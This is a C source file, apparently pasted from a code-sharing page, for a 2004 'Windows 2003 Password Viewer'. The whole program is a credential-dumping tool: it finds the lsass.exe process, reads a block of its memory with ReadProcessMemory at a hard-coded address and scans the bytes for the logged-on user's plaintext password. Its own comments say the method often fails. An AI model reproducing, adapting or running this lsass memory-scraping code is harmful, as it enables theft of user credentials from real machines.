1. //********************************************************************************   
  2. // Version: V1.0   
  3. // Coder: WinEggDrop   
  4. // Date Release: 12/15/2004   
  5. // Purpose: To Demonstrate Searching Logon User Password On 2003 Box,The Method   
  6. //          Used Is Pretty Unwise,But This May Be The Only Way To Review The   
  7. //          Logon User's Password On Windows 2003.   
  8. // Test PlatForm: Windows 2003   
  9. // Compiled On: VC++ 6.0   
  10. //********************************************************************************   
  11. #include <stdio.h>   
  12. #include <windows.h>   
  13. #include <tlhelp32.h>   
  14.  
  15. #define BaseAddress 0x002b5000        // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable   
  16.  
  17. char  Password[MAX_PATH] = {0};        // Store The Found Password   
  18.  
  19. // Function ProtoType Declaration   
  20. //------------------------------------------------------------------------------------------------------   
  21. BOOL  FindPassword(DWORD PID);   
  22. int   Search(char *Buffer,const UINT nSize);   
  23. DWORD GetLsassPID();   
  24. BOOL  Is2003();   
  25. //------------------------------------------------------------------------------------------------------   
  26. // End Of Fucntion ProtoType Declaration   
  27.  
  28. int main()   
  29. {   
  30.  DWORD PID = 0;   
  31.  printf("Windows 2003 Password Viewer V1.0 By WinEggDrop\n\n");   
  32.  
  33.  if (!Is2003())        // Check Out If The Box Is 2003   
  34.  {   
  35.      printf("The Program Can't Only Run On Windows 2003 Platform\n");   
  36.      return -1;   
  37.  }   
  38.  
  39.  PID = GetLsassPID();        // Get The Lsass.exe PID   
  40.  
  41.  if (PID == 0)        // Fail To Get PID If Returning Zerom   
  42.  {   
  43.      return -1;   
  44.  }   
  45.  
  46.  FindPassword(PID);        // Find The Password From Lsass.exe Memory   
  47.  return 0;   
  48. }   
  49. // End main()   
  50.  
  51. //------------------------------------------------------------------------------------   
  52. // Purpose: Search The Memory & Try To Get The Password   
  53. // Return Type: int   
  54. // Parameters:      
  55. //           In: char *Buffer        --> The Memory Buffer To Search       
  56. //          Out: const UINT nSize   --> The Size Of The Memory Buffer   
  57. // Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure",   
  58. //       Since The Password Is Near The Above Location,But It's Not Always True That   
  59. //       We Will Find The Magic String,Or Even We Find It,The Password May Be Located   
  60. //       At Some Other Place.We Only Look For Luck   
  61. //------------------------------------------------------------------------------------   
  62. int Search(char *Buffer,const UINT nSize)   
  63. {   
  64.  UINT OffSet = 0;   
  65.  UINT i = 0;   
  66.  UINT j = 0 ;   
  67.  UINT Count = 0;   
  68.  if (Buffer == NULL)   
  69.  {   
  70.      return -1;   
  71.  }   
  72.  for (i = 0 ; i < nSize ; i++)   
  73.  {   
  74.      /* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word   
  75.         Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate   
  76.         The Magic String,We Have To Do It Manually And Slowly   
  77.      */   
  78.      if (Buffer[i] == 'L')   
  79.      {   
  80.          OffSet = 0;   
  81.          if (strnicmp(&Buffer[i + OffSet],"LocalSystem",strlen("LocalSystem")) == 0)   
  82.          {   
  83.              OffSet += strlen("LocalSystem") + 1;   
  84.              if (strnicmp(&Buffer[i + OffSet],"Remote",strlen("Remote")) == 0)   
  85.              {   
  86.                  OffSet += strlen("Remote") + 1;   
  87.                  if (strnicmp(&Buffer[i + OffSet],"Procedure",strlen("Procedure")) == 0)   
  88.                  {   
  89.                      OffSet += strlen("Procedure") + 1;   
  90.                      if (strnicmp(&Buffer[i + OffSet],"Call",strlen("Call")) == 0)   
  91.                      {   
  92.                          i += OffSet;   
  93.                          break;   
  94.                      }   
  95.                  }   
  96.              }   
  97.          }   
  98.      }   
  99.  }   
  100.  if (i < nSize)   
  101.  {   
  102.      ZeroMemory(Password,sizeof(Password));   
  103.      for (; i < nSize ; i++)   
  104.      {   
  105.          if (Buffer[i] == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)   
  106.          {   
  107.              /* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format,So We Will Do It In   
  108.              That Way   
  109.              */   
  110.              j = i + 7;   
  111.              for (; j < nSize; j += 2)   
  112.              {   
  113.                  if (Buffer[j] >  0)   
  114.                  {   
  115.                      Password[Count++] = Buffer[j];   
  116.                  }   
  117.                  else   
  118.                  {   
  119.                      break;   
  120.                  }   
  121.              }   
  122.              return i + 7;        // One Flag To Indicate We Find The Password   
  123.          }   
  124.      }   
  125.  }   
  126.  return -1;        // Well,We Fail To Find The Password,And This Always Happens   
  127. }   
  128. // End Search   
  129.  
  130. //------------------------------------------------------------------------------------   
  131. // Purpose: To Get The Lsass.exe PID   
  132. // Return Type: DWORD   
  133. // Parameters:  None   
  134. //------------------------------------------------------------------------------------   
  135. DWORD GetLsassPID()   
  136. {   
  137.  HANDLE hProcessSnap;   
  138.  HANDLE hProcess = NULL;   
  139.  PROCESSENTRY32 pe32;   
  140.  DWORD PID = 0;   
  141.  
  142.  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   
  143.  if( hProcessSnap == INVALID_HANDLE_VALUE )   
  144.  {   
  145.      printf("Fail To Create Snap Shot\n");   
  146.      return 0;   
  147.  }   
  148.  
  149.  pe32.dwSize = sizeof(PROCESSENTRY32);   
  150.  
  151.  if( !Process32First(hProcessSnap, &pe32))   
  152.  {   
  153.      CloseHandle(hProcessSnap);     // Must clean up the snapshot object!   
  154.      return 0;   
  155.  }   
  156.  
  157.  do   
  158.  {   
  159.   if (strcmpi(pe32.szExeFile,"Lsass.EXE") == 0)   
  160.   {   
  161.       PID = pe32.th32ProcessID;   
  162.       break;   
  163.   }   
  164.  }while(Process32Next( hProcessSnap, &pe32));   
  165.  
  166.  CloseHandle( hProcessSnap);   
  167.  return PID;   
  168. }   
  169. // End GetLsassPID()   
  170.  
  171. //------------------------------------------------------------------------------------   
  172. // Purpose: To Find The Password   
  173. // Return Type: BOOLEAN   
  174. // Parameters:     
  175. //           In: DWORD PID        ->        The Lsass.exe's PID   
  176. //------------------------------------------------------------------------------------   
  177. BOOL FindPassword(DWORD PID)   
  178. {   
  179.  HANDLE hProcess = NULL;   
  180.  char   Buffer[5 * 1024] = {0};   
  181.  DWORD  ByteGet = 0;   
  182.  int    Found = -1;   
  183.  
  184.  hProcess = OpenProcess(PROCESS_VM_READ,FALSE,PID);        // Open Process   
  185.  if (hProcess == NULL)   
  186.  {   
  187.      printf("Fail To Open Process\n");   
  188.      return FALSE;   
  189.  }   
  190.  
  191.  if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet))        // Read The Memory From Lsass.exe   
  192.  {   
  193.      printf("Fail To Read Memory\n");   
  194.      CloseHandle(hProcess);   
  195.      return FALSE;   
  196.  }   
  197.  
  198.  CloseHandle(hProcess);   
  199.      
  200.  Found = Search(Buffer,ByteGet);        // Search The Password   
  201.  if (Found >= 0)        // We May Find The Password   
  202.  {   
  203.      if (strlen(Password) > 0)        // Yes,We Find The Password Even We Don't Know If The Password Is Correct Or Not   
  204.      {   
  205.          printf("Found Password At #0x%x -> \"%s\"\n",Found + BaseAddress,Password);   
  206.      }   
  207.  }   
  208.  else   
  209.  {   
  210.      printf("Fail To Find The Password\n");   
  211.  }   
  212.  return TRUE;   
  213. }   
  214. // End FindPassword   
  215.  
  216. //------------------------------------------------------------------------------------   
  217. // Purpose: Check If The Box Is Windows 2003   
  218. // Return Type: BOOLEAN   
  219. // Parameters:  None   
  220. //------------------------------------------------------------------------------------   
  221. BOOL Is2003()   
  222. {   
  223.  OSVERSIONINFOEX osvi;   
  224.  BOOL b0sVersionInfoEx;   
  225.  ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));   
  226.  osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);   
  227.  
  228.  if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))   
  229.  {   
  230.      osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);   
  231.  }   
  232.  return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);   
  233. }   
  234. // End Is2003()   
  235. // End Of File  
  236.  
  237.  
  238.  
  239.